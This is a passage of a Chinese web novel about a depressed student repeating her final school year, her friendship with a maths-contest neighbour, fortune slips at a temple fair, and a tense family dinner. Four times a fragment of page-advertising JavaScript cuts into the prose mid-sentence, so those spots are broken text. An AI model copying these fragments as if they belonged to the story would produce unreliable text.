还在国庆假日期间,烧烤摊生意很好。 老板有些忙不过来,告诉他们扫码点单,饮料到前台自取。 他们点了些菜,闻漫起身去拿饮料:“想喝点什么?” “可乐吧。” 母亲是“可乐有害论”的坚实拥趸,因而家里的冰箱中绝不会出现任何碳酸饮料。 ……可既然都来撸串了,自然就要放纵一回了。 闻漫很快回来了,除了带了罐可乐,还多了罐啤酒。 见田知意盯着他手里的啤酒看,闻漫拉开拉环:“撸串喝啤酒很爽的。” “你成年了吗?”田知意问,“不满18周岁就喝啤酒可不好哦。” 她生日在上半年,比闻漫早读一年书,这么算来闻漫生日至少在9月1号以后。 现在才十月,闻漫大概率没过18岁生日。 田知意是这么想的。 令她意外的是,闻漫很自然地点点头:“满了。” 田知意愣了愣才意识到他的意思是“满18周岁”了。 “你9月份生日?” 田知意感觉心里空落落的。 ……那岂不是他的生日就在不久前? 仔细想来,他们相识确实没多久,也没有熟稔到相互交换生日的地步。 但话赶话到了这个份上…… 田知意也不知道该尴尬的是她,还是闻漫。 “我生日在9月5日。”闻漫大大方方地答,“开学不久的时候。” “哦……”田知意低低舒了口气,“那时候还不是很熟。” ……因为不熟,所以没说,这很合理。 不是她以为他们很熟但其实是一厢情愿那种。 “那天是上课的日子。”闻漫想了想,“所以吃碗面就算过了。” “如果不上课呢……”田知意喃喃着,“刚开学也不轻易放假的,要是晚几天……“ 说完她意识到自己好像说了句天大的蠢话。 ……哪有想人家生日晚几天的!这种事哪是能改的! 她的脸“唰”地一下通红,她拍了怕脸颊,发现烫得惊人。 ……天呐,真丢人。 田知意默默地垂下头,不去看闻漫的眼睛。 片刻之后,她听到闻漫的声音:“听说大学开学晚,或许今后的生日可以过得丰富一点。” 看起来他似乎没有多想她的话,便放下心来同他一起畅想:“是啊,而且大学的管理会轻松很多。” “你们都是怎么过生日的?”闻漫问。 “我嘛,生日在暑假,就很有空。”田知意想了想,“白天和几个好朋友一起K歌或者看电影,分享蛋糕,晚上回家吃面。” “你喜欢吃什么口味的蛋糕?”闻漫貌似漫不经心地继续“追问”。 “嗯……水果蛋糕吧,酸奶胚的好吃……嗯?” 田知意意识到有些不对劲,她疑惑地看向闻漫,眼里几分质询。 闻漫只笑着看她,食指竖在唇中央:“说出来就没意思了。” 田知意恍然。 她低下头,用吸管轻轻吸了口可乐。 可乐罐里的碳酸泛出细小的泡沫,仿佛她唇角的笑意,小小地绽开着。 闲聊中,服务员将他们点的烤串送了上来。 荤的一盘,素的一盘,海鲜一盘,看起来十分清爽。 田知意的饿意愈发明显。 牛肉串是用金属签串的,有些烫,田知意便用餐巾纸捏着金属签尾部,小心翼翼地咬了一口。 肥厚鲜嫩的牛肉混着牛油在口中炸开,口腔被丰润的滋味占满,混合在肉中辣椒和孜然一个接一个地点爆味蕾,眼、鼻、舌、喉的感官被调动起来,笼罩在一片火热的满足中。 再来上一口冰凉的可乐,便是无法比拟的安全感和满足感。 若干年后田知意坐在深冬的蒙古包里,顶着室外凛冽的寒风,面对着烤得馨香的肥美牛肉大快朵颐时,却仍觉得比起壶州城的小烧烤摊差出些许。 田知意似乎懂了闻漫为什么拿了罐啤酒,此情此景确是一乐事。 她还不太敢迈出那一步,此刻的感觉已足够她沉醉。 许是辣度有些过,许是刺激有些有强烈,田知意不合时宜地想起中午的素面,想起在寺庙里发生的一切,鼻子骤然间酸酸的,眼眶被四周的火热氤氲出些许水汽。 她偷偷瞥了眼闻漫,发现对方正在专心对付羊肉串,趁他不注意,迅速伸手悄悄擦去了眼角的泪花。 ……这样的美好的场景,是不应该哭泣的。 可泪失禁体质如何能应对泪水的汹涌? 等闻漫发现时,她正在薅着桌上的抽纸,眼里尽是无辜与迷茫。 闻漫把抽纸往她面前推了推,没有说话。 田知意用抽纸捂住的鼻子,轻轻地抽吸了一阵,将纸一团,丢进了附近的垃圾桶里。 “我想到了一些不太高兴的事。”她想以这句话做结尾,不成想却因此打开了话匣子,“我妈怀孕了,他们都瞒着我。” 她的话不长,但字字炸裂。闻漫惊愕地瞪大了眼。 “其实我该想到的。”田知意又丢了个纸巾团,“他们接受不了教出来的女儿高考只考了那么点分,是个彻头彻尾的失败者。” 她一向回避在别人面前提及高考,但此刻说出来,倒也没觉得有多难。 “我有个朋友叫路嘉茉,父母离异,她一直跟着妈妈住,后来她的妈妈给她找了后爸……反正高二的时候她就转去了京市读书,住到了她爸那里,现在应该已经在清华了。” 田知意捧住脸,仿佛在追忆不可及的往昔:“高一的时候我们还差不多,也不对,她数学比我强些,要不是她的妈妈反对,应该那时候就走了竞赛这条路……嗯,我也不差吧,我作文写得很好,还被当过全年级的范文……但我不知道为什么后来一切都变了,仿佛有一天,突然从某一天起,我的脑子就被糊住了一样,什么也学不进去,什么也倒不出来……” 她已经止住了哭声,脸还是涨得通红。她的心里有只装满的微微倾斜的水桶,泼泼洒洒地想将里面的水一股脑儿倒出,却又倒得磕磕绊绊。 “我的家境不错,父母和睦,我没有资格诉苦……”她慢慢闭上眼,“我现在复读,也花了家里不少钱。我爸说过他把我养到18岁就不用再管我的,但他还给了我学费和生活费,我应该心存感激。” 父母给她起名知意,要她知人心、解人意。 她在同龄人中从来就是很懂事的那个。 甚至懂事得让人心疼。 只稍稍冷静下来,田知意便擦擦眼睛道歉:“对不起,我失态了。” 闻漫默默 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地喝了口啤酒,似乎在思考劝慰她的话。 田知意看着他勉强扯出一抹笑:“我已经好了,没关系了。” “一直这么想,很辛苦吧?”闻漫轻轻地问。 田知意怔了怔,迅速地转过身去。 刚刚止住的泪水再次奔涌而出,心里的那只水桶一下被砸了个窟窿,不知酝酿了多久的苦水汩汩涌出,泛着令人皱眉的酸腐味道。 医生也问过她类似的话,当时的她只是点了点头,不敢多说,生怕医生说出“比你辛苦的大有人在”的话。 ……虽然医生截止目前还没这么说过。 她已经习惯了他人的劝慰里满含着沉甸甸的期待,诸如“我知道你很累,但为了高考……”“读书都是辛苦的,辛苦才有好成绩”的话,她比劝她的人说得还溜。 ……可那又如何,辛苦又没有得到改变,仿佛为了最终的目标,就一定能承受所有的辛苦一样。 如果她受不了的话…… 就会被抛弃。 田知意在椅背上趴了一会儿才转过身来,对上闻漫关切的眼神:“刚刚发泄了一下,好多了。” 她拿起一根牛肉串,已经不比先前的烫手,温热的,味道也温和了许多。 闻漫看着她,似乎有什么话想说,但看了片刻,也最终只是问:“要喝点什么吗?我再去拿。” “酸奶。”田知意想了想,补充道,“谢谢。” 像是在感谢他的举动,又像是在答谢别的。 “真是客气。” 闻漫这么说着,再次起身去拿饮料。 田知意看着他的背影,心里有几分松快。 许是闻漫与她萍水相逢,他们之间没有责任也没有期待,她可以放心地说出她心里的话,也可以放心地听进闻漫的话。 她还可以轻易地许诺,不用担心能不能做到。 反正就算做不到,她敲闻漫的屋门时,他一样会开。 ……这是什么种奇怪的关系,但怪教人觉得轻松的。 不多时,闻漫回来了。 田知意从他手里接过酸奶,见他又拿了罐啤酒:“还喝酒吗?” 闻漫耸耸肩:“两罐而已,不会醉的。” “也是。”田知意心里轻松了就没了那么多顾忌,“我没怎么喝过这个,能尝尝吗?” “那我让服务员拿个杯子。” 田知意将吸管从可乐里抽了出来:“我用这个行吗?” 闻漫点头算是同意。 她站起身,将吸管塞进了啤酒罐里,趁着泡沫溢出来前狠狠吮吸了一大口。 冰凉的、寡淡的、带着些涩味的酒液填满她的口腔,她下意识地捂住嘴。 “喝不惯吗?”闻漫问。 田知意没有回答,只慢慢将酒吞咽入腹。 不知是酒精的反应,还是心理作用,田知意感觉晕乎乎的。 她干脆借着酒劲说些平日里不敢的话:“我刚想到……我生日比你早了11天,你该叫我姐姐。” 闻漫微微后仰,有些不可置信地拒绝:“我不要。” 他难得的拒绝让田知意觉得有趣。 看着他愕然又不甘的神情,田知意轻笑出声。 她想到一句小说弹评里常出现的话,似乎有些文不对题: “年下不叫姐,心思有点野。” 17. 浮想 他们吃到了很晚,回公寓时刚好遇上电影散场的学生。 三中的礼堂有个单独的大门,两个学校的学生一齐通过大门出来,乌压压的很是壮观。 “千万别被熟人看到了。”田知意小声嘟哝了一句。 她不担心被自己的同学看到,反正都是些过客。她更担心被闻漫的同学看到,引起些对他不好的非议。 ……他的同学关系可要维系很久的。 “那我们找个地方躲躲?”闻漫顺着她的话说,反而一眼瞧见附近的报刊亭,“躲那后面没人看见。” 报刊亭的一周刚好是个圆角矩形,待客的窗口和出入的后门是平面,两边是突出的曲面橱窗,挂满了各式各样待售的杂志。 这几年除了步行回学生公寓或是骑自行车上下学的学生,其他都是私家车接送,几乎不会有落单的学生往这边走,他们能安全地躲着不被发现。 报刊亭后狭小逼仄,闻漫比田知意高出一些,他的呼吸随着夜风落在她耳侧,十分清晰。 烧烤的香味、啤酒的味道和他自己的气味混杂在一起,伴随着他的呼吸在田知意的五官间穿街走巷,田知意心里有种怪怪的感觉,像是荒地生出了绒绒的青草。 沉默让呼吸都显得响亮。 她缩了缩脑袋,将目光投到路面上,有一搭没一搭地数着过往的车辆,有些心猿意马。 “你喜欢哪一本?” 田知意听到闻漫这么问。 她的目光这才从路边聚拢到报刊亭的橱窗上。 以往她还挺喜欢买杂志看的,找个周末的晚上,准备点爱吃的零食,倒杯热水,边吃边读,是繁重学业里难得的喘息与窗口,灵魂与味蕾的双重满足,堪称人间难得的至乐。 如今想来,恍如隔世。 “以前会买《青年文摘》。”田知意说。 “十月上的已经能买了。”闻漫指着橱窗上的一本,“喏。” 田知意凑了过去。 光线黯淡,所幸封面图颜色鲜艳,她勉强能看清图中的那轮圆月,橙黄色的,很温暖的颜色。 她刚想说她已经很久没买过杂志了,抬眼刚好瞧见封面P8后的标题。 爬过复读那座山。 仿佛是命运的羁绊牵动了她的心房,原本想说的话化成一句轻轻的呢喃: “……好。” 国庆结束后没多久,班主任通知10月17日开家长会。 田知意给她父亲发消息,心里没抱什么希望。 那天是周三,第二天是工作日,父亲不见得会赶来壶州再赶回去。 大约过了两个小时,她收到父亲的回复:“家长会什么主题?” 田知意哪里知道家长会是什么主题,也不能特意为了这个问题去问班主任。 ……显得好像是公司开会似的,要根据会议重要程度挑挑拣拣是否参会。 她想了想,随便胡诹了一个:“通报月考情况。” 过了很久,父亲才发消息问她:“你考得好吗?” 在他们班,她的成绩一向是最好的,但这好成绩里的水分,田知意是再清楚不过。 她不想骗过了自己,于是回答:“还可以吧。” 这次父亲回得很快:“还可以我就不去了,班主任有要求再找我。” 田知意早料到了这样的结局,半点劝父亲改变主意的想法都没有,只回了个“好的”表情做结。 开家长会这日,学校没有晚自习。 田知意收拾东西时,听到几个同班的学生议论,说这天九月十九,是观音菩萨出家日,在附近的古镇上有观音庙会。 “现在过去的话,正好能赶上夜市。” “夜市上有个求签的,每年都来,据说很准。” “有多准?” “去求了不就知道了,反正也不贵。” …… 讨论的几个学生都是外地来的,和她一样家长不来参加家长会,正想趁着没人拘着的时候去放放风。 田知意没参加过庙会活动,对夜市也没太大兴趣。 难得那么早下课,她看着还没完全黑下来的天,有些无所适从。 她的目光落在隔壁三中的外墙上,那里不知何时贴了张红色的喜报,庆祝三中十余名学生在全国高中数学联赛中获奖,其中两名获得一等奖。 ……高联出成绩了啊。 田知意想起闻漫也参加了高联,可惜喜报上没写获奖学生的名字。 她的心底涌起一阵悸动,比她自己参加考试还要着急知道成绩的悸动。 ……上次有这种感觉还是为路嘉茉担心。 亲近的人在努力攀登自己无法企及的高峰,而自己能做的便只有最诚挚的祝福。 所幸有了此前的经历,她查起名单来得心应手,没费什么劲就在三中的公众号上看到了完整的获奖名单。 闻漫是一等奖。 田知意怔怔地看着他的名字,好一会儿才回过神来。 ……他做到了。 她曾听闻漫说过,这是他第二次参加高联。 高二时参加的那次他止步于省二。 喜报中没提及进省队的事,历来能进省队的人员都是从省一等奖里优中选优,划分数线选定的。 田知意不想半场开香槟。 她低下头思考片刻,暗暗做了决定。 ……去夜市上求根签吧。 要是好签,她就将这好运送给闻漫,作为他竞赛前为她选了伴手礼的回礼。 要是不好的签,她就再抽一支……抽到好为止。 等她赶到古镇时,天已经完全暗了下来。 路边搭起的一个个小帐篷里灯火通明,田知意一一数过去,有小吃的、有手作的、有速写的,唯独没有求签的。 人头攒动,她在人群里打转,仿佛在激流中逆行。 终于,她在一处夜间不开放的展览馆边上看到一个席地而坐的中年男子,他脚边摆着一个签筒,手边竖着一块立牌,上书八个大字:“一百一次,买一赠一。” 牌下挂着微信和支付宝通用的二维码。 田知意看懵了。 求签买一赠一是怎么个买法?求两次签吗? 环顾四周,这边游人属实算少。 ……看起来既没有大家讨论中说的那么准,也没有同学说的那么便宜。 就当是50元一支,田知意也要掂量下钱包再考虑要不要说出“抽到好为止”的大话。 中年男子早已看到她犹豫的模样,但他没有半分要招揽她的意思,漫不经心扫了她一眼后便将目光投向了别处,似乎并不认为她当真会来求签。 这种不信任 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反而坚定了田知意的信念。 ……先求呗,万一第一次就抽到好的了呢? 田知意咬咬牙,走到中年男人面前,扫了100元。 “买一送一怎么求?”她问,“甩两支出来吗?” 中年男人手把手教她摇签筒的姿势:“像这样摇出一支来。” 她曾见过父亲在寺庙求签的姿势,学得很快,很顺利地便摇出一支来。 中年男人看着她,目光有些惊异:“学生里摇得像你这样好的不多,这签该是很准的。” 田知意抬眼看看他,摸不准是真心话还是商业吹捧。 她看了眼竹签上的数字:“89号,可以取签纸了吗?” 男人背过身去找签纸。 田知意掏出手机搜了搜“观音灵签”。 上次父亲求签后,她上网搜了签纸上的诗文,发现是观音灵签,具体内容和解释网上都有。 除了观音灵签外,网上还有很多别的灵签。 她想今日既然是观音菩萨出家日,庙会上应该不至于出现别的灵签。 男人的动作很快,田知意只来得及匆匆瞥一眼签的种类。 ……上签。 她松了口气,紧绷的神经瞬间松了下来。 ……至少不用考虑多抽几次了。 她甚至开始思考第二签该问什么问题。 这时,男人递给她两卷粘在一起的签纸:“这就是买一送一,打开看看吧。” 田知意再一次懵了。 ……这和上次庙里的不同啊。 男人对这样的表情习以为常,但还是百看不厌,露出恶作剧得逞般的笑容:“我的签和外面的不一样的。” ……那也就是说,89对应的可能不是89号签了? 田知意刚刚放下的心有瞬间提起。 她紧张地吞了唾沫,握着签纸的手都微微有些颤抖。 有那么一个瞬间她似乎懂了什么叫“近乡情更怯”。 男人用好笑的目光看着她:“月满则缺,否极泰来,世间阴阳更迭往复,哪有好坏是恒定的呢?” “哦。”田知意低低地应道。 ……话是这么说不错,但临了开奖谁能不怕呢。 抱着丑媳妇终要见公婆的心态,田知意鼓足勇气几乎是同时展开了两张签纸。 第七十八签和第一百签。 上签和下签。 “这什么意思?”田知意将签纸摊平给男人看,“我问的事出了一好一坏,这怎么解?” 男人看了眼便摆了摆手:“你求签之前我让你在心里默念事了没有?没有吧?我这签就不是问一件事的。” “那是做什么的?” “是运。”男人故作神秘,“两张签纸,一上一下,送一张给别人,留一张给自己,看你怎么选。” “啊?”田知意不可置信,“那要是没人可送呢?” “上签是祝福,下签是警示。该选哪个给自己,你应该是知道的。” 田知意不知道哪个给自己,但知道哪个送人。 上签抽到了,她也没了再呆下去的意义。 “要解签吗?”男人问,“免费的。” 田知意摇摇头:“我看得懂,也知道该怎么做。” ……既然已经做了决定,就不能再有什么犹豫。 18. 浮梦 田知意回到公寓时,离下晚自习的时间还早。 习惯了晚自习在教室做作业,难得坐在公寓里做题还有些陌生。 这一带是学生公寓,壶州文气又重,连居民跳广场舞时也自动避开了考生聚集的位置。田知意坐在窗边,偶尔才能随风听到隐隐的乐音,刚好可当作白噪音。 这般静谧下,她的效率高了不少,做完作业又刷了些《5年高考3年模拟》的题,终于隐约听到门外传来像是脚步的声响。 田知意边起身边摸索口袋。 平日里浅得放不下一串钥匙的口袋此时恍然深似海,她的指尖在布料间反复探询,终于在门开的瞬间碰到那页薄薄的纸。 她的脸上闪过一次轻松,抬头刚好瞧见闻漫看了过来。 他站在门边,已经拿了出的钥匙,显然是听到她这边的声音才回头的:“怎么了?” 田知意一愣,一时忘了该怎么起头。 言辞像是从脑袋里飞出去了一般,只留下蓬松凌乱的一地鸡毛。 她迟疑着,指间还藏在口袋里,紧紧捏着那张签纸。 头顶声控灯的灯管似乎被换过,亮得有些过分,落在她两眼间令人眩晕。 “这个……给你。” 田知意犹豫片刻,将签纸递给闻漫。 她伸出手后,才发现他们间的距离远大于两臂宽。她站在门内,没有换室外的鞋,还是闻漫主动走过来,接过她手里的签纸。 “我看到你们学校门口的喜报了,恭喜你。” 田知意想了想,还是略去了她去网上搜名单的过程。 ……怎么想都有点私生饭的味道。 “是那个啊。”闻漫明白了,“谢谢。” 他的两指轻轻一捻,又轻轻抖了抖,被田知意叠成小块又揉得不太像样的签纸便打开了。 “是上签。”闻漫抬眼看她,“你是去过庙会了吗?” 求签自然是去过庙会。这只是个寻常的问题,却让田知意没来由地心慌。 她心知自己求签时的复杂心理,生怕被他如剑一般的敏锐挑破。 田知意微微别开眼:“今天开家长会,没上晚自习,听同学的建议去看了看。刚好看到有求签的摊,想到省队名单还没出来,就……” 闻漫将签纸拢在掌心里:“谢谢,我会好好保管的。” “只是顺手的事。”田知意低下头,脚尖不安地在地板上滑来滑去,“能抽到上签我也很高兴。” “……我能得到上签,是有人把下签留给了自己。” 他的声音不大,落在田知意的耳中却不啻惊雷。 ……他都知道了。 田知意猛然抬头,惊愕与赧然在她眼底翻滚。 她的嘴唇微微颤动,想说些什么,却最终无奈地合上。 他在这里住了快三年,庙会年年有,求签的年年来,知道个中套路有什么可奇怪的呢? 田知意突然觉得自己十分可笑。 名为一厢情愿的尴尬如风暴般席卷了她的内心,迫使她不得不低头。 ……闻漫会怎么想她? 会不会觉得她是个听风就是雨、成天花冤枉钱的蠢女人? 她没有勇气去面对闻漫的想法,哪怕没那么负面,哪怕只是非正面的看法……她花了钱、出了力,禁不起如此的对待。 想到这里,田知意连忙伸手关门:“这样,那打扰了,晚安。” 她声音很轻、语速很快地说完了,恨不得如见了光的影子消失得无影无踪。 闻漫察觉到她情绪的变化,快步上前,赶在门彻底阖上前扒住门缝:“等等。” 田知意停下了继续关门,只扭过头不去看他:“我没有话要说了。” “我还有话要说。”闻漫扒住门不放,“这样说话怪累的。” 他的语气还是一贯的温和,田知意却听出了不容拒绝的坚定。 她第一次感觉到和她年纪相仿的少年的力量,纵然她用上了全身的力气,也难以与之匹敌。 田知意慢慢松开手,靠在门边,将脸朝向屋内。 “说吧。”她小声说着,也不知道闻漫听清了没有。 “对不起。”闻漫说,“我没想让你难堪的。” 田知意感觉眼睛潮潮的,她抹了把脸:“你没做错什么,是我做了件蠢事。” “一点也不蠢。” 田知意稍稍偏过头,斜瞥了他一眼:“不蠢吗?” “不蠢。”闻漫依旧这么说。 他的眼里满是真诚,田知意试图去找寻负面的、嘲弄的情绪,所幸并没有找到。 她不再说这事,只是替自己花出去的钱不值:“他们说庙会上的签准,哪知道是这么个骗人的东西。” 一好一坏绑在一起,真亏那摊主想得出来。 “我进省队了。”闻漫突然说。 突然的话题转变让田知意猝不及防:“……什么?” 闻漫深吸口气:“我的意思是,上签挺准的,我进省队了。” “呃……” 田知意呆了呆:“……什么时候的事?” “第二节晚自习结束的时候,老师跟我说的。” “真的吗?有这么巧?”田知意有些不可置信。 闻漫目光闪烁,迟疑片刻才用力地点头:“嗯,真的。” 田知意下意识在心里算了算时间。 ……好像是在求签之后? 这么说……是准的? 应验得是不是有些快? 她想起摊主的话,说这签是问运的,不是问事的。 这是不是说明,她真的把好运送给闻漫了? 心里有了些正念,田知意终于放下心来:“还好没被骗。” 她倚着门框,神情终于闲散下来。 “你把下签留给了自己……不怕真的应验吗?”闻漫轻轻地问。 “我已经在谷底了,能再烂到哪里去呢?况且……” 田知意摊开她留下的那张签纸,低声读着上面的诗文:“……老人求得灵签去,不如守旧待时来。它让我待时来呢,多好,我正好不想折腾。” 守着过去坐等转运,她实在想不到比这更轻松更惬意的好事了。 只是她眼里没有半点遇到好事的欣喜,只有无尽的怅惘。 闻漫拢了拢掌心,犹豫片刻,轻轻握住了她的右手:“我的好运分你一半。” 田知意被这突然的温热吓了一跳,下意识地想要缩手,却被他的掌心裹得紧紧。 她垂眼看着交叠的双手,轻轻地叹了口气,左手拍了拍他的手背:“不要,留着你的好运,我想看你拿CMO的奖牌。” “那你呢?” “摊主说了,下签是警告,历来听了警告的,坏事都会变好事。”她喃 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喃着,“……会变好的。” “会好的。”闻漫应和着。 田知意站直身,不动声色地将右手从他掌中抽离:“时间不早了。” 闻漫看着空落落的掌心,只是点头:“嗯……该回去休息了。” “闻漫。”田知意低声唤他,“一定要拿奖牌啊。” “我会的。” “你进营前一天来找我一下,我有东西要给你。” “什么东西?” “到时候你就知道了。”田知意冲他神秘地笑笑,“所以一定要来找我。” 说完,她轻轻关上了门。 第二天,田知意收到父亲的消息,说这周家里有事,让她周六下午自己坐车回家。 还提醒她抓紧些出门,晚餐前务必要到。 田知意想不出这时候家里能有什么事,不过最近天气转凉,她过冬的衣服还留在家里,下次回家还不知道是什么时候,不如这次一起拿了。 周六上午考完试,田知意简单吃过午饭,便拎着她的行李箱出门了。 这边打车去车站的费用高得惊人,坐公交便只要花些时间。 田知意虽然不缺钱,可钱用完了问家里要一次钱便要多听一次唠叨,便选择了节约。 她刚打开门,就瞧见闻漫在锁门。 “嗨。”田知意出声与他打招呼,“回家啦?” 闻漫回头:“是啊。你也要回家吗?这么大的行李箱……” 行李箱里没装什么东西,也不沉,只是32寸的个头看着吓人。田知意还没出声,却见闻漫已向她伸出手:“我来帮你拎下楼吧。” 田知意下意识地护住箱子:“没关系,不重的。” “远路无轻担。”闻漫说。 见他坚决,田知意也不好再说什么,只能将行李箱推到他面前:“谢谢。” 闻漫拎起来掂了掂,是不重,但一路提着下楼梯对女生来说也非易事。 “带那么大箱子回去是要装什么吗?”闻漫跟她边走边聊。 “拿些换季的衣服,下次再回家都不知道什么时候了。” 田知意在壶州不常出门,她根据网上的教程做了些功课,下载了能查询公交车停靠站点和时间的APP,早早地规划了路线,但站在站牌前时还是下意识地头晕。 又小又密的字让她很不舒服。 “走吧,车到了。”闻漫喊住田知意。 田知意愣了愣:“我之前看的那班还有一会儿。” “这班人少,也能到。你信我。” 闻漫向来靠谱,田知意自然不疑有他,推着行李箱跟在他身后,上车时,闻漫转身帮她拎上了车。 车上果然空荡荡,他们找了个两人的座位。闻漫靠窗,田知意靠外,行李箱立在她边上,一切都刚刚好。 公交车停在了汽车站侧门外的站台,站台不叫“汽车站”,下车的人也不及主站台的多。 闻漫和田知意一起下车。 “谢谢。”田知意有些不好意思他的周到,“其实……我自己也可以的。” “这边的门比较偏,我怕你找不到。”闻漫想了想,问道,“回来的时候你也是自己坐车吗?” 听到闻漫这么问,田知意想了想:“应该吧。” 她觉得她爸应该没什么兴趣跑那么一趟来回。 “那我来接你吧?就在这里见。” 19. 浮想 “会不会太麻烦了?”田知意下意识想拒绝,“还要你来等我。” “反正也是这路公交车坐过来。”闻漫解释,“那时候你行李箱会很重,没人帮你很不方便。我们就在这附近吃个饭,然后一起回去,这不挺好吗?” 说话间,闻漫要乘的车来了。 他边往车前门口跑边问:“好不好?” 田知意被他的热切所感染,大声地回答他:“好!” 有年纪差不多的男生发出了嘘声:“哥们,你搞什么飞机,是在告白吗?” 闻漫只笑着上了车,透过车窗与田知意挥手道别。 刚才小小的插曲让一整天都明艳了起来。 田知意带着难得的好心情,哼着歌进了候车大厅。 壶州发往苏城的班车不少,她又看准了时间买的票,几乎没费什么时间候车检票就坐上了大巴。 她上车早,选了个靠窗的位置,阳光从窗外透进来,暖洋洋的。 没多时车发动了。 田知意刷了会儿小红书,觉得没什么意思,孤身一个人在车里睡觉也不踏实。她干脆放下手机,倚着车窗想心事。 她想到她承诺闻漫进营前要送他什么,突然意识到她还不清楚冬令营的时间。 此前只觉得冬令营时间还早,细算起来现在正值十月下旬,离冬季并不遥远。 想到这里,田知意拿起手机,搜索今年CMO的入营时间。 林林总总的消息瞬间跳了出来,很多都是营销号混淆视听,田知意翻找了一会儿,找到一篇今年数学竞赛大事件时间表,从一月一路翻到十月,她边看边蹙起了眉。 她不参加竞赛,对竞赛时间也不了解,只知道有高联、金秋营、CMO之类的考试,还是因为路嘉茉说起报过金秋营,她才有些印象,记得十月中旬有那么一场。 现在她才发现报名数学金秋营的条件是获得当年省一,金秋营报名截止的时间是10月8日。 也就是说9月底闻漫就已经知道他有没有得省一了,只是学校喜报贴得晚。 ……那进省队的时间呢?他是不是早就知道了呢? 田知意想到那晚闻漫闪烁的眼神,突然懂了他的迟疑。 ……哎,他可真是的。 只是为了安慰她…… 那么聪明的人,做了那么傻的事。 田知意轻轻叹息着阖眼。 午后的阳光温柔地落在她的眼睑,晕染出一片微醺的酡色。 快五点钟的时候,田知意到了苏城,父母在停车场等她。 她放好行李,坐上车时听到母亲跟父亲低语:“穿成这样可不行,还有时间,去买一身新衣服吧。” 田知意低下头看看自己的穿着,有些不解:“我衣服没洗干净吗?” “洗得挺好。”母亲坐在副驾驶上回头看她,“只是没法出客。” “我们要见什么人吗?” “你爸没跟你说吗?”母亲嗔怪地看了眼父亲,“你父亲朋友请我们吃晚饭。” 父亲总有一些爱社交的朋友,田知意不太喜欢这样的应酬场合,一般都低头吃饭。 “这位伯伯有个比你大几岁的女儿,国外读书回来在做自己的事业,要跟她好好讨教讨教,别总不出声。” 父亲想来不喜欢她社恐的模样,此时少不了一番耳提面命。 田知意也不辩解,只乖顺地应着。 父亲在酒店前停下,田知意跟着母亲下车。 酒店边上有一家商综体,父亲去停车时,她和母亲去商综体里买衣服。 这个季节的苏城还不算太冷。 母亲为她搭了一套针织打底衫与羊毛A字裙,又配了件长款薄风衣。 田知意站在镜子前转了好几次身,母亲看了又看,摇了摇头。 “不是我想要的那种感觉。”母亲叹了口气,一把握住田知意的小臂,“你太瘦了,撑不起衣服。在外面有没有好好吃饭?” 最近她胃口虽然还是小,但饮食还算规律,应该算是好好在吃饭的。 这么想着,她点了点头。 母亲不太信,只是叹息:“算了,再买双靴子吧,至少搭配得像样些。” 她们只有一小时的时间,急匆匆跟打仗似的。 田知意已经习惯了校服搭运动鞋的省心装束,即便是难得的出门,也是T恤或者卫衣,走宽松方便款,如今从胯部到小腿全都被毛皮裹得紧紧,让她有些透不过气来。 “女孩子在外要大大方方的,你怎么越来越小家子气了。”母亲忍不住埋怨她。 田知意不知怎么回应,只是说:“我在吃药,精神差。” 这话不说还好,一说母亲更来了劲:“你那药吃了有用吗?怎么都不见好的。医生要是没水平就换一个。” 田知意辩驳无能,只能轻声反抗:“他看得挺好的,我比之前好多了。” 母亲转过头,深深地看了一眼,咧唇笑了笑:“你说好就行。” 她的笑只凝在唇边,眉眼里没有半分笑意,看得田知意有些不寒而栗。 父亲已经先在包厢应酬,一桌人只等田知意和母亲。 母亲已初显孕相,走路也刻意放慢了脚步。 田知意和新靴子磨合得不算很好,也只跟在服务员身后慢慢地走。 她听到母亲在身边指导她走路。 “头抬起来,核心收紧,脚底板迈出去和收回来的时候都要露出来,大球关节用力点下地,这样腿才长得直。” 田知意昂了昂脑袋,又缩了缩小腹。靴子有些重,露出脚底板并不容易,她使出了所有的力,终于保证在门推开的那刻,亮了个完美的相。 母亲对她的表现很满意:“以后也要这样。” 田知意没有回答,她忙着跟其他人打招呼。 父亲的朋友叫杨咏棕,身形高大,有着厚厚的双下巴和突出的将军肚。 田知意喊了声“杨伯伯”,他眉眼弯弯地笑着“哎”了声,转头便敛了所有表情,双眼审慎地打量着所有人,眼神教人难以亲近。 杨咏棕的身侧是他的妻子和女儿。他的妻子看起来比母亲年长上些许,两人似乎颇为熟悉。在田知意叫过人后就相携着走到一旁,边聊边看向田知意,生怕她听到似的。 田知意对她们的对话没有兴趣。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 左不过就是男人和孩子,况且此时她们更感兴趣的孩子显然不是她。 杨咏棕的女儿看起来三十出些头,化着精致的职业妆容,微笑着跟田知意打招呼:“你好,我叫杨柚歆。” 田知意也微笑着跟她摆了摆手:“我叫田知意。” 寒暄得差不多了,他们围着圆桌坐下。 桌上只上了凉菜,每个人面前的餐盘里都摆了一小碗水果,一块火龙果、一块哈密瓜和两颗青提。 父亲、杨咏棕和杨柚歆很自然地拾起了之前在聊的话题,母亲也开启了太太们的谈话,唯独田知意落了单。 她孤独惯了,倒不太在意此时的无人关注。 这日她考了一上午试,午饭没吃多少,又折腾了一路,刚好有些口渴,便插了块火龙果,小口地啃了起来。 水果的汁液甜津津的,刚好能润泽她干涸的喉咙。 就在田知意打算继续啃哈密瓜块时,母亲突然推了推她:“你怎么光顾着吃?也不跟杨姐姐好好聊聊。” 田知意看了眼和父亲聊得正欢的杨柚歆,无奈地回答母亲:“杨姐姐正忙着呢。” 母亲白了她一眼:“你不会加入进去吗?” 田知意深吸口气:“我找找机会。” 母亲对这态度还算满意,又回到了太太社交中。 田知意不知道该怎么社交,但也不敢继续吃水果,只能坐在边上听他们在聊什么。 许是她呆呆坐的模样着实有些可怜,杨柚歆关注到了她:“妹妹最近在忙什么呢?” 田知意吃不准她了不了解实际情况,只能含糊其辞地答:“在准备高考。” “读高三啊。”杨柚歆和善地笑着,“学业压力很大吧?等下多吃点,补补营养。” “是啊。”田知意顺着她的话插起哈密瓜块,“这里的水果很新鲜。” 